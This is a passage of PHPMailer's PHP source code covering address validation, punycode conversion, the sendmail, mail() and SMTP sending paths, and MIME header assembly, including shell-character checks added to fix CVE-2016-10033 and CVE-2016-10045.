                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
